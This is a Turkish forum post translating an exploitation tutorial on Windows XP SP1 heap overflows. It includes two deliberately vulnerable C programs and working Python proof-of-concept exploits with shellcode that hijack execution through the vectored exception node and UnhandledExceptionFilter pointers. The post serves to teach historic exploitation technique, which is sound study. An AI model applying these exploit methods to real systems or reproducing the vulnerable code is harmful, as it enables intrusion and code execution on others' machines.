Windows Heap Exploitation #2| Sürücü güvenlik açığı

Qgenays

Katılımcı Üye
20 Haz 2020
254
3
Los Santos
İnsanlar İçin Yığın Taşmaları 101

Daha önce, yığın taşmaları ile, yürütme işaretçisinin (EIP) kontrolünü ele geçirdik, bunun istisna işleyicisi aracılığıyla mı yoksa doğrudan mı olduğunu anlayacağız.

Bugün, doğrudan EIP veya SEH kullanmadan yürütme kontrolünü ele geçiren zaman içinde denenmiş ve test edilmiş bir dizi tekniği tartışacağız.

Kontrol edilen bir değerle, seçimimizin belleğindeki bir konuma üzerine yazarak, keyfi bir DWORD üzerine yazma elde edebiliriz.

Yığın tabanlı arabellek taşmalarını orta/ileri seviyeye bilmiyorsanız, önce bu alana odaklanmanız önerilir.

Örtmek üzere olduğumuz şey bir süredir öldü ve gömüldü, bu yüzden windows yığın Yöneticisini kullanmak için daha yeni teknikler arıyorsanız, etrafta dolaşmayın

Neye ihtiyacınız olacak:
- Sadece sp1 yüklü Windows XP.
- Bir hata ayıklayıcı (Olly hata ayıklayıcı, bağışıklık hata ayıklayıcı, windbg vb.).
- Bir C / C++ compilier (Dev c++, lcc-32, MS visual C++ 6.0 (hala alabilirseniz)).
- Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz).
- Bir beyin (ve/veya sebat).
- Olly or için HideDbg (eklenti) kullanarak bir hata ayıklayıcıyı nasıl kazacağınıza dair montaj, C ve bilgi hakkında bazı bilgiler !bağışıklık hata ayıklayıcı altında hidedebug
- Zaman.

Temel ve temellere odaklanacağız.

Sunulan teknikler büyük olasılıkla "gerçek dünyada" kullanmak için çok eski olacaktır, ancak her zaman ileriye doğru hareket etmek istiyorsa, geçmişi bilmesi gerektiği hatırlatılmalıdır.

Ve ondan öğren. Tamam başlayalım!

Yığın nedir ve XP altında nasıl çalışır?

Yığın, bir işlemin verileri tutabileceği bir depolama alanıdır.

Her işlem, uygulamanın gereksinimlerine göre yığın belleği dinamik olarak ayırır ve serbest bırakır.

Yığının 0x00000000 yönünde büyüdüğünü ve yığının 0xFFFFFFFF yönünde büyüdüğünü belirtmek önemlidir.

Bu, bir işlem HeapAllocate() iki kez çağırılırsa, ikinci çağrı ilkinden daha yüksek bir işaretçi döndüreceği anlamına gelir.

Bu nedenle, ilk bloğun herhangi bir taşması ikinci bloğa taşacaktır.

Varsayılan işlem yığını veya dinamik olarak ayrılmış bir yığın olsun, her işlem birden çok veri yapısı içerecektir.

Bu veri yapılarından biri, boş blokları izleyen 128 LİST_ENTRY yapılarından oluşan bir dizidir.

Bu FreeLists olarak bilinir.

Her liste girdisi dizinin başında iki işaretçi tutar ve 0x178 öbek yapısına uzaklık bulunabilir.

Bir yığın oluşturulduğunda, ayırma için kullanılabilen ilk boş bellek bloğuna işaret eden iki işaretçi FreeLists[0] konumunda ayarlanır.

Bırak batsın ve sonra bunu düşün. 0x00650000 taban adresine sahip bir yığınımız olduğunu ve ilk kullanılabilir bloğun 0x00650688 adresinde olduğunu varsayarsak, aşağıdaki dört adresi varsayabiliriz:

Kod:
At address 0x00650178 (Freelist[0].Flink) is a pointer with the value of 0x00650688 (Our first free block)
At address 0x0065017c (FreeList[0].Blink) is a pointer with the value of 0x00650688 (Our first free block)
At address 0x00650688 (Our first free block) is a pointer with the value of 0x00650178 (FreeList[0])
At address 0x0065068c (Our first free block) is a pointer with the value of 0x00650178 (FreeList[0])

Bir tahsisat oluştuğunda, FreeList[0].Flink ve FreeList[0].

Yanıp sönme işaretçileri, tahsis edilecek bir sonraki boş bloğa işaret edecek şekilde güncellenir.

Ayrıca, Freelist'e geri dönen iki işaretçi, yeni ayrılan bloğun sonuna taşınır.

Her tahsisat veya ÜCRETSİZ, bu işaretçiler güncellenir.

Bu nedenle, bu ayırmalar çift bağlantılı bir listede izlenir.

Bir yığın arabellek yığın denetim verisine taşan, bu işaretçiler güncelleştirme rasgele dword üzerine yazar sağlar.

Bu noktada bir saldırgan, işlev işaretçileri gibi program kontrol verilerini değiştirme ve işlemlerin yürütme yolunun kontrolünü alma olanağına sahiptir.

Vektörlü Özel Durum İşleme Kullanarak Yığın Taşmalarını Kullanma

İlk olarak, heap-veh.c kodu ile başlayalım :

Kod:
#include <windows.h>
#include <stdio.h>
 
        DWORD MyExceptionHandler(****);
        int foo(char *buf);
 
        int main(int argc, char *argv[])
        {
                HMODULE l;
                l = LoadLibrary("msvcrt.dll");
                l = LoadLibrary("netapi32.dll");
                printf("\n\nHeapoverflow program.\n");
                if(argc != 2)
                        return printf("ARGS!");
                foo(argv[1]);
                return 0;
        }
 
        DWORD MyExceptionHandler(****)
        {
                printf("In exception handler....");
                ExitProcess(1);
                return 0;
        }
 
        int foo(char *buf)
        {
                HLOCAL h1 = 0, h2 = 0;
                HANDLE hp;
 
                __try{
                        hp = HeapCreate(0,0x1000,0x10000);
                        if(!hp){
                                return printf("Failed to create heap.\n");
            }
                        h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
 
                        printf("HEAP: %.8X %.8X\n",h1,&h1);
 
                        // Heap Overflow occurs here:
                        strcpy(h1,buf);
 
                        // This second call to HeapAlloc() is when we gain control
                        h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
                        printf("hello");
                }
                __except(MyExceptionHandler())
                {
                        printf("oops...");
                }
                return 0;
        }

Yukarıdaki koddan, _ _ try block deyimi nedeniyle istisna işleme olacağını görebiliriz.

Kodu Windows XP SP1 altında en sevdiğiniz derleyiciyle derleyerek başlayın.

Uygulamayı komut satırında çalıştırın, özel durum işleyicisinin içeri girmesi için 260 bayttan fazla sürdüğüne dikkat edin.

x7lkHh.png


Şimdi, elbette, bunu hata ayıklayıcıda çalıştırdığımızda, ikinci tahsisatın kontrolünü ele geçiririz (çünkü freelist[0] ilk tahsisattan gelen saldırı dizesiyle güncellenir).

x7lrQH.png


Kod:
EAX  (what we write) : Blink
ECX  (******** of where to write) : Flink

Peki vektörel istisna işleme nedir?

Vektörlü özel durum işleme, Windows XP'de kullanılmaya başlandı ve yapısını yığın üzerinde depolayan SEH gibi geleneksel çerçeve özel durum işlemenin aksine, özel durum kayıt yapılarını yığın üzerinde depolar.

Bu tür bir özel durum, başka bir çerçeve tabanlı özel durum işlemeden önce çağrılır. Aşağıdaki yapı düzenini göstermektedir:

Kod:
struct _VECTORED_EXCEPTION_NODE
{
    DWORD   m_pNextNode;
    DWORD   m_pPreviousNode;
    P****   m_pfnVectoredHandler;
}

Bilmeniz gereken tek şey, m_pnextnode'un bir sonraki _vectored_exception_node yapısına işaret etmesidir, bu nedenle işaretçiyi sahte işaretçimizle _vectored_exception_node (m_pNextNode) üzerine yazmamız gerekir.

Ama bunun üzerine ne yazacağız? _vectored_exception_node göndermekten sorumlu olan koda bir göz atalım:

Kod:
77F7F49E   8B35 1032FC77    MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4   EB 0E            JMP SHORT ntdll.77F7F4B4
77F7F4A6   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9   50               PUSH EAX
77F7F4AA   FF56 08          CALL DWORD PTR DS:[ESI+8]

Bu yüzden _vectored_exception_node işaretçisini ESI'YE taşıyoruz ve kısa bir süre sonra ESI + 8'i çağırıyoruz.

_VECTORED_EXCEPTION_NODE bir sonraki işaretçiyi shellcode-0x08 işaret eden bir adrese ayarlarsak, arabelleğimize çok düzgün bir şekilde inmeliyiz. Kabuk kodumuza bir işaretçi nereden bulacağız?

Peki yığında bir tane var:

x7l84o.png


İşaretçimizi yığın üzerindeki kabuk kodumuza görebiliriz.

Tamam, stres yok, bu kodlanmış 0x0012ff40 değerini kullanalım.

Esı+8 çağrısını hatırlıyor musun? hedefte olduğumuzdan emin olalım, bu yüzden 0x0012ff40-0x08 = 0x0012ff38. Mükemmel, bu yüzden ECX 0x0012ff38 olarak ayarlanacak.

M_NextNode (sonraki _vectored_exception_node işaretçisi) nasıl bulabilirim? Olly'de (veya bağışıklık hata ayıklayıcısında), shift+f7 kullanarak istisnamızı şu ana kadar ayrıştırıp kodla devam etmeye çalışabiliriz.

Kod, ilk _vectored_exception_node çağrısı için ayarlanacak ve bu nedenle işaretçiyi ortaya çıkaracaktır:

Kod:
77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210
77F60C31   393D 1032FC77    CMP DWORD PTR DS:[77FC3210],EDI
77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

Kodun M_PNEXTNODE (ihtiyacımız olan işaretçimiz) EDI'YE taşındığını görebilirsiniz.

Mükemmel, EAX'I bu değere ayarlayalım.

Yani, şu değerleri belirledik: ECX = 0x77fc3210 EAX = 0x0012ff38.

Tabii ki, EAX ve ECX için ofsetlerimize ihtiyacımız var, bu yüzden sadece bir MSF deseni oluşturuyoruz ve uygulamaya aktarıyoruz. İşte izleme zevkiniz için hızlı bir hatırlatma

Msf deseni oluşturma

x7tnAP.png


Anti-hata ayıklamayı etkinleştirerek ve istisnayı tetikleyerek ofsetleri hesaplayın

x7ty40.png


x7txl6.png


x7tTOy.png


Tamam, işte bir iskelet poc istismarı:

Kod:
import os
 
# _vectored_exception_node
exploit = ("\xcc" * 272)
 
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX
 
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we don't need the null byte
 
os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit)

Bu aşamada, ecx talimatımızdan sonra shellcode olamaz, çünkü boş bir bayt içerir.

Bu örnekte olduğu gibi, arabelleğimizi yığında saklamak için bir strcpy kullanıyoruz.

Tamam, bu noktada yazılım kesme noktalarımızı "\xcc" de vurduk ve bunu sadece bazı kabuk kodlarıyla değiştirebiliriz.

Kabuk kodumuzu yerleştirmek için tek yer olduğu için kabuk kodu 272 bayttan fazla olmamalıdır.

Kod:
import os
import win32api
 
calc = (
"\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" +
"\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" +
"\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" +
"\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" +
"\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" +
"\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" +
"\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" +
"\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" +
"\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" +
"\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" +
"\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" +
"\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" +
"\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" +
"\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" +
"\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" +
"\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93")
 
# _vectored_exception_node
exploit = ("\x90" * 5)
exploit += (calc)
exploit += ("\xcc" * (272-len(exploit)))
 
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX
 
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we dont need the null byte
 
win32api.WinExec(('heap-veh.exe %s') % exploit, 1)

İşlenmeyen Özel Durum Filtresini Kullanarak Yığınığın Taşmalarını Kullanma

İşlenmeyen özel durum süzgeci, bir uygulama kapanmadan önce çağrılacak son özel durumdur.

Bir uygulama aniden çöktüğünde "işlenmeyen bir hata oluştu" mesajının gönderilmesinden sorumludur.

Bu noktaya kadar, EAX ve ECX'İ kontrol etme aşamasına geldik ve her iki kayıt için de ofset konumunu biliyoruz:

Kod:
import os
 
exploit = ("\xcc" * 272)
exploit += ("\x41" * 4) # ECX
exploit += ("\x42" * 4) # EAX
exploit += ("\xcc" * 272)
 
os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

Önceki örnekten farklı olarak, bizim yığın-uef.c dosyası, özel bir özel durum işleyicisinin izlerini içermez. Bu, Microsoft'un varsayılan işlenmeyen istisna filtresini kullanarak uygulamayı kullanacağımız anlamına gelir. Aşağıda bir yığın-uef.c dosyası var:

Kod:
#include <stdio.h>
#include <windows.h>
 
        int foo(char *buf);
        int main(int argc, char *argv[])
        {
                HMODULE l;
                l = LoadLibrary("msvcrt.dll");
                l = LoadLibrary("netapi32.dll");
                printf("\n\nHeapoverflow program.\n");
                if(argc != 2)
                        return printf("ARGS!");
                foo(argv[1]);
                return 0;
        }
 
        int foo(char *buf)
        {
                HLOCAL h1 = 0, h2 = 0;
                HANDLE hp;
 
                hp = HeapCreate(0,0x1000,0x10000);
                if(!hp)
                        return printf("Failed to create heap.\n");
                h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
                printf("HEAP: %.8X %.8X\n",h1,&h1);
 
                // Heap Overflow occurs here:
                strcpy(h1,buf);
 
                // We gain control of this second call to HeapAlloc
                h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
                printf("hello");
                return 0;
        }

Bu tür taşma hata ayıklarken, Olly veya Immunity Debugger içinde anti hata ayıklamayı etkinleştirmek önemlidir, böylece istisna Filtremiz çağrılır ve ofsetler doğru konumdadır.

Her şeyden önce, dword'umuzu da nerede yazacağımızı bulmalıyız.

Bu, işlenmeyen özel durum filtresinin işaretçisi olacaktır.

Bu, setunhandledexceptionfilter () koduna giderek ve bakarak bulunabilir.

x7FhuY.png


Bir MOV komutunun UnhandledExceptionFilter (0x77ed73b4) adresine bir değer yazdığını görebiliriz:

x7FGep.png


SetUnhandledExceptionFilter() çağrısı yapıldığında, Ecx değerini UnhandledExceptionFilter tarafından sağlanan işaretçiye yazar.

Bu, unlink() işlemi ECX --> EAX'I tetiklediğinde ilk başta kafa karıştırıcı görünebilir, ancak bu özel durumda, SetUnhandledExceptionFilter() UnhandledExceptionFilter işlev çağrısını ayarlama şeklini kötüye kullanıyoruz. Bu noktada, ECX'İN kontrolü kabuk kodumuza döndüren bir işaretçi içereceğini güvenle söyleyebiliriz.

Aşağıdaki kod herhangi bir şüpheyi ortadan kaldırmalıdır:

Kod:
77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE SHORT kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

Temel olarak, UnhandledExceptionFilter() değeri EAX'A ayrıştırılır ve daha sonra bir çağrı EAX tetiklendikten kısa bir süre sonra.

Bu yüzden UnhandledExceptionFilter() --> [saldırganlar işaretçisi] var, daha sonra saldırganlar işaretçisi UnhandledExceptionFilter() EAX'A dereferenced ve yürütülür.

Bu işaretçi daha sonra kontrolü kabuk kodumuza veya bizi kabuk kodumuza geri götürecek bir talimata aktaracaktır.

EDI'ye bir göz atarsak, yükümüzün altından 0x78 baytlık bir işaretçi göreceğiz.

x7F0QQ.png


Bu işaretçiyi basitçe çağırırsak, kabuk kodumuzu yürütürüz. Bu nedenle, EAX'ta aşağıdaki gibi bir talimata ihtiyacımız var:

Kod:
call dword ptr ds:[edi+74]

Bu talimat, XP sp1 altındaki birçok MS modülünde kolayca bulunur.

x7MVxq.png


Öyleyse bu değerleri Poc'mize dolduralım ve nereye indiğimizi görelim:

Kod:
import os
 
exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\xcc" * 272)
 
os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

x7Mygx.png


Tabii ki, sadece kabuk kodunun bu bölümüne ofseti hesaplıyoruz ve JMP talimat kodumuzu ve kabuk kodumuzu ekliyoruz:

Kod:
import os
 
calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x44\x80\xc2\x77"        # address to WinExec()
"\xFF\xD1\x90\x90")
 
exploit = ("\x44" * 264)
exploit += "\xeb\x14"           # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += calc
 
os.system('heap-uef.exe ' + exploit)

x7McoA.png


BOOM!

x7MB5G.png


Translator: Qgenays
Source: https://www.fuzzysecurity.com/tutorials/mr_me/2.html
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.